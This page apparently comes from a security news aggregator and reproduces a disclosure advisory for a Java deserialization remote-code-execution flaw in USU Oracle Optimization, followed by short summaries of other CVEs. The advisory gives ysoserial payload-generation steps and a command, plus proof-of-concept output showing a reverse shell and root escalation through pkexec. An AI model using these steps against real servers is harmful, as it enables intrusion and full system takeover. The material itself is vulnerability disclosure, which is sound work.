Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-29936: Build software better, together

USU Oracle Optimization before 5.17 allows authenticated quantum users to achieve remote code execution because of /v2/quantum/save-data-upload-big-file Java deserialization. NOTE: this is not an Oracle Corporation product.

CVE
#git#java#oracle#rce#auth

Overview

Quantum agent does require authentication to be downloaded.
Quantum userscredentials can be retreived in plaintext on agent configuration file.

Impact

A user with “Quantum” profile can trigger an unsecure deserialization on server APIs leading to RCE shell as “smartcollector” user.
“smartcollector” user can trivially escalate to root thanks to pkexec missconfiguration (please see attached bug).

Details

“Quantum” profiles can request /v2/quantum/save-data-upload-big-file API.

This API is waiting for a file that is deserialized with SerializationUtil class:

Pseudo-code:

 public class SerializationUtil
 {
   public static Object deserialize(String fileName) throws IOException, ClassNotFoundException {
     FileInputStream fis = new FileInputStream(fileName);
     BufferedInputStream bis = new BufferedInputStream(fis);
     ObjectInputStream ois = new ObjectInputStream(bis);
     Object obj = ois.readObject();
     ois.close();
     return obj;
   }
   ...

Unsecure Java deserialization is a common bug that is referenced in the TOP 10 Owasp:

(OWASP deserialization cheatsheets)[https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html]

By chainning Java gadgets it is possible to trigger execution on the server. The following blog post explain the basic concepts of gadgets:

(snyk.io java gadget chainning)[https://snyk.io/blog/serialization-and-deserialization-in-java/]

Gadget chained have been referenced in various tools allowing to quickly build payloads relying on dependencies. In our case we used ysoserial.

(https://github.com/frohoff/ysoserial)[https://github.com/frohoff/ysoserial]

By replacing the hibernate dependancy version in pom.xml with the one used on the server, we succeed to create valid payloads:

        <dependency>
          <groupId>org.hibernate</groupId>
          <artifactId>hibernate-core</artifactId>
-         <version>5.0.7-final</verion>
+         <version>5.2.10-final</verion>
        </dependency>

Once ysoserial is built (mvn clean package -DskipTests) it is possible to generate payloads:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 '<your cmd>'

Proof of Concept

You can find here a python script that demonstrates the ability to establish a reverse shell (here to 127.0.0.1 4444).
The Hibernate1 gadget chain payload has been encoded into base64.

Note: the encoded payload establish a reverse shell locally. For this proof of concept the script also should be executed locally.

The script require pwntools python framework.

  • install pwntools (pip install pwntools)
  • Copy python script from Appendix on the server.
  • Replace quantum credentials and URL with yours.
  • Then launch python script

It should result in remote code execution on server.

$ python3 quantum_serialize_exploit.py
[*] Try to authenticate to quantum
[+] Authentcation succeed
[*] Prepare reverse shell listener
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:127.0.0.1 on port 53112
[*] Trigger unsecure deserialization
[*] Switching to interactive mode
$ id
uid=1504(smartcollect) gid=1500(oinstall) groups=1500(oinstall),1504(smartcollect)
$ pkexec id
uid=0(root) gid=0(root) groups=0(root)

Recommendation****Security Patch

Upgrade to 5.17

Workarounds

We suggest to either use a more secure serialization or use a framework to validate user inputs before deserialization.

References****Credits

[Orange CERT-CC][ora]
Cyrille CHATRAS of [Orange][orange] group
[ora]: https://cert.orange.com/
[orange]: https://www.orange.com/

Timeline

Date reported: September 29, 2021
Date fixed: November 24, 2021

Related news

CVE-2021-41993: Ping Identity Documentation Portal

A misconfiguration of RSA in PingID Android app prior to 1.19 is vulnerable to pre-computed dictionary attacks, leading to an offline MFA bypass when using PingID Windows Login.

CVE-2021-41994: Ping Identity Documentation Portal

A misconfiguration of RSA in PingID iOS app prior to 1.19 is vulnerable to pre-computed dictionary attacks, leading to an offline MFA bypass when using PingID Windows Login.

CVE-2022-28198: Security Bulletin: NVIDIA Omniverse Nucleus and Omniverse Cache - April 2022

NVIDIA Omniverse Nucleus and Cache contain a vulnerability in its configuration of OpenSSL, where an attacker with physical access to the system can cause arbitrary code execution which can impact confidentiality, integrity, and availability.

Cloudflare Flags Largest HTTPS DDoS Attack It's Ever Recorded

This scale of this month's encrypted DDoS attack over HTTPS suggests a well-resourced operation, analysts say.

CVE-2022-1543: Improper handling of Length parameter in scoold

Improper handling of Length parameter in GitHub repository erudika/scoold prior to 1.49.4. When the text size is large enough the service results in a momentary outage in a production environment. That can lead to memory corruption on the server.

CVE-2022-29414: Subscribe To Comments Reloaded

Multiple (13x) Cross-Site Request Forgery (CSRF) vulnerabilities in WPKube's Subscribe To Comments Reloaded plugin <= 211130 on WordPress allows attackers to clean up Log archive, download system info file, plugin system settings, plugin options settings, generate a new key, reset all options, change notifications settings, management page settings, comment form settings, manage subscriptions > mass update settings, manage subscriptions > add a new subscription, update subscription, delete Subscription.

CVE-2022-28994: Small HTTP Server 3.06 Remote Buffer Overflow ≈ Packet Storm

Small HTTP Server version 3.06 suffers from a remote buffer overflow vulnerability via long GET request.

CVE-2022-29451: Rara One Click Demo Import

Cross-Site Request Forgery (CSRF) leading to Arbitrary File Upload vulnerability in Rara One Click Demo Import plugin <= 1.2.9 on WordPress allows attackers to trick logged-in admin users into uploading dangerous files into /wp-content/uploads/ directory.

CVE-2021-4206: QEMU QXL Integer overflow leads to Heap Overflow

A flaw was found in the QXL display device emulation in QEMU. An integer overflow in the cursor_alloc() function can lead to the allocation of a small cursor object followed by a subsequent heap-based buffer overflow. This flaw allows a malicious privileged guest user to crash the QEMU process on the host or potentially execute arbitrary code within the context of the QEMU process.

CVE-2021-4207: QEMU QXL Integer overflow leads to Heap Overflow

A flaw was found in the QXL display device emulation in QEMU. A double fetch of guest controlled values `cursor->header.width` and `cursor->header.height` can lead to the allocation of a small cursor object followed by a subsequent heap-based buffer overflow. A malicious privileged guest user could use this flaw to crash the QEMU process on the host or potentially execute arbitrary code within the context of the QEMU process.

CVE-2022-0984: 2064118 – (CVE-2022-0984, MSA-22-0007) CVE-2022-0984 moodle: possible to reach the profile field badge criteria on a course page

Users with the capability to configure badge criteria (teachers and managers by default) were able to configure course badges with profile field criteria, which should only be available for site badges.

CVE-2022-29934: Build software better, together

USU Oracle Optimization before 5.17.5 lacks Polkit authentication, which allows smartcollector users to achieve root access via pkexec. NOTE: this is not an Oracle Corporation product.

CVE-2022-29935: Build software better, together

USU Oracle Optimization before 5.17.5 allows attackers to discover the quantum credentials via an agent-installer download. NOTE: this is not an Oracle Corporation product.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907